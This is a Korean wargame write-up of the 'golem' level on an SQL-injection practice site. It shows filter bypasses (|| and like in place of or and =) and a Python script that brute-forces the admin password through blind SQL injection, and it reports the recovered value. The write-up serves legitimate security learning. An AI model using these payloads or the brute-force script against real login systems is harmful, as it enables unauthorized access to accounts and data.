분석
이번에는 or, and, substr, =마저 다 사용이 안되네요.
따옴표는 됩니다..
그리고 참 거짓을 알려주도록 되어있고.. 패스워드를 브루트포싱을 통해 알아내야 할 문제같습니다.
substr이 안되면 like는 안되는건가..? 저번에 해보다가 실패했었는데요..
그리고 id=admin에서 =이 걸려서 사용할 수가 없을 것 같습니다.
아 저번에 왜 like가 실패했는지 시도해보니
like 에 따옴표가 들어가야 하는군요.
id = 'guest' and pw=''는 거짓입니다.
pw like '%a%'가 참이라서 패스워드에 a가 들어있는 guest로 로그인이 된 겁니다.
그럼 이걸 가지고 admin도 되는지 테스트하고 브루트포싱으로 넘어갈 수 있을 것 같습니다.
a 말고 b만 했는데 admin으로 접속이 됩니다.
그러면 admin에는 b가 들어있다는 뜻이죠.
풀이
length를 모르기는 한데 어차피 %를 이용해서 패스워드를 넘으면 모든 문자를 대입해봐도 Hello admin이 나오지 않을 것입니다.
왜인지는 모르겠습니다 위처럼 주석처리를 하면 안되는데,
아래와 같이 따옴표도 그대로 이용하면 브루트포싱이 작동합니다. 왜일까요..
암튼.. 그렇게 했고
특수문자를 배제해서 코드를 작성했습니다. %나 #로 인한 처리가 까다로워서
import requests
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?"
cookie = {'PHPSESSID':'내가만든쿠키'}
pw = ''
for i in range(1,30) :
notfound = 1
for j in range(0x30, 0x7e+1) :
query = 'pw=\' || pw like \'{}%'.format(pw+chr(j));
print(query, '\tfound:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
notfound = 0
pw += chr(j)
break
if(notfound) :
break
print('ans:',pw)
쿼리를 넣어주되 notfound라는 플래그를 만들어서 끝까지 돌았는데도 찾을 수 없으면 패스워드를 모두 찾았다고 판단하고 break 합니다.
이렇게 하면 77d6290b라는 값을 찾습니다.
대문자로 나왔지만 이번에도 소문자일거 같으니 그대로 넣어주면
골렘 클리어 했습니다.
여담으로 다른 풀이도 보니
length를 사용할 수 있더군요 =을 사용해야 하는 줄 알았는데 like는 위처럼만 사용 가능한 것인줄 알았는데
거의 =과 동일하게 사용해서 익스가 됩니다.
substr은 mid, =은 like로 우회한다는군요.